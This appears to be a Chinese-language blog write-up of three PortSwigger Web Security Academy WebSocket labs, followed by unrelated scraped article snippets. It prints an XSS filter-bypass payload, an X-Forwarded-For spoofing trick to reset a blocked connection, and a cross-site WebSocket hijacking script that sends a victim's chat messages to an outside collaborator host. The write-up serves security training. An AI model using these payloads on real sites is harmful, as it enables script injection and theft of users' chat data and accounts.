Portswigger web security academy:WebSockets
Portswigger web security academy:WebSockets
Lab: Manipulating WebSocket messages to exploit vulnerabilities
- 题目描述
- 在线商城有一个用
WebSockets实现的在线聊天功能 - 你提交的聊天消息会被辅助客户端实时查看
- 在线商城有一个用
- 要求
- 使用
WebScoket消息触发alert()
- 使用
- 解题步骤
- 只是把HTTP协议换成WebSockets协议,核心思想方法没有变
- 在WebSockets history中把发送信息的请求包发送到Repeater
- 把消息内容修改为xss payload
Lab: Manipulating the WebSocket handshake to exploit vulnerabilities
- 题目描述
- 在线商城有一个用
WebSockets实现的在线聊天功能 - 它有一个主动但是存在缺陷的XSS过滤器
- 在线商城有一个用
- 要求
- 使用
WebScoket消息触发alert()
- 使用
- 解题过程
- 测一下过滤了些啥:(连接失败后,利用
X-Forwarded-For伪造IP重置连接即可)- 过滤了n多标签,iframe可用
- 过滤了
() - 过滤了
onxxxx事件 - 过滤了
javascript
- 最后的payload和solution一样
<iframe src='JavAsCript:alert`1`'>
- 测一下过滤了些啥:(连接失败后,利用
Lab: Cross-site WebSocket hijacking
题目描述
- 在线商城有一个用
WebSockets实现的在线聊天功能
- 在线商城有一个用
要求
- 使用exploit server构造一个跨站点WebSocket劫持攻击,来获取受害者的聊天历史,并接管账号
解题过程
websocket劫持和利用iframe通信进行csrf比较类似,通过事件绑定来返回数据
脚本参考solution,没有考虑到
onopen事件的处理<script>
websocket = new WebSocket('wss://ac9c1ff41e8e379c807359aa0094001e.web-security-academy.net/chat')
websocket.onopen = function start(event) {
websocket.send("READY");
}
websocket.onmessage = function handleReply(event) {
fetch('https://4bg8qgdszeud8bkot06y0rrg177xvm.burpcollaborator.net/?'+event.data, {mode: 'no-cors'})
} </script>
Portswigger web security academy:WebSockets的更多相关文章
- Portswigger web security academy:Clickjacking (UI redressing)
Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...
- Portswigger web security academy:Cross-origin resource sharing (CORS)
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
- Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...
- Portswigger web security academy:Cross-site request forgery (CSRF)
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
- Portswigger web security academy:OAth authentication vulnerable
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
- Portswigger web security academy:Server-side request forgery (SSRF)
Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...
- Portswigger web security academy:OS command injection
Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...
- Portswigger web security academy:SQL injection
Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...
- Portswigger web security academy:Server-side template injection(SSTI)
Portswigger web security academy:Server-side template injection(SSTI) 目录 Portswigger web security ac ...
随机推荐
- mysql 使用sleep操作 update 来停止一段时间执行语句 [骚操作]
update mytestTable inner join(select '2' as id, sleep(5)) a on mytestTable.id=a.id set mytestTable.n ...
- 不一样的软件们——GitHub 热点速览 v.21.10
作者:HelloGitHub-小鱼干 创意,是程序员的一个身份代名词,一样的软件有不一样的玩法.比如,你可以像用 git 一样操作一个 SQL 数据库,dolt 就是这样的数据库.又比如,你可以只写文 ...
- Netty源码 reactor 模型
翻阅源码时,我们会发现netty中很多方法的调用都是通过线程池的方式进行异步的调用, 这种 eventLoop.execute 方式的调用,实际上便是reactor线程.对应项目中使用广泛的NioE ...
- UI透明欺诈
判断是否存在的代码: private static boolean c(Activity paramActivity) { List localList = ((ActivityMan ...
- TIOBE 编程语言排行榜
https://www.tiobe.com/tiobe-index/ TIOBE 编程语言排行榜是编程语言流行趋势的一个指标
- go调用python命令行参数过量报错python.exe: The filename or extension is too long.的解决方法
当我们在调用python时,如果传入的参数数据量过大时会报错 python.exe: The filename or extension is too long. 这时候我们的解决办法是放弃传参,将想 ...
- P1049_装箱问题(JAVA语言)
思路:动态规划的背包问题.使箱子剩余空间最小,也就是使箱内装的物品体积达到最大,我们可将物品的体积视为价值,然后按照01背包问题求解即可. //直接上模板 题目描述 有一个箱子容量为VV(正整数,0 ...
- python多版本与虚拟环境
这篇纯python技术文章,我自己平时也会用到,在此记录一下. 为什么会用到多个Python版本? 用macOS和Ubutntu的同学都知道系统默认安装的Python2.7.x,然后,我们平时pyth ...
- 极简实用的Asp.NetCore模块化框架决定免费开源了
背景 在开发这个框架之前,前前后后看过好几款模块化的框架,最后在一段时间内对ABP VNext痛下狠心,研究一段时间后,不得不说 ABP VNext的代码层面很规范,也都是一些最佳实践,开发出一个模块 ...
- 我的xshell配色方案,绿色/护眼/留存/备份
[mycolor] text(bold)=e9e9e9 magenta(bold)=ff00ff text=00ff80 white(bold)=fdf6e3 green=80ff00 red(bol ...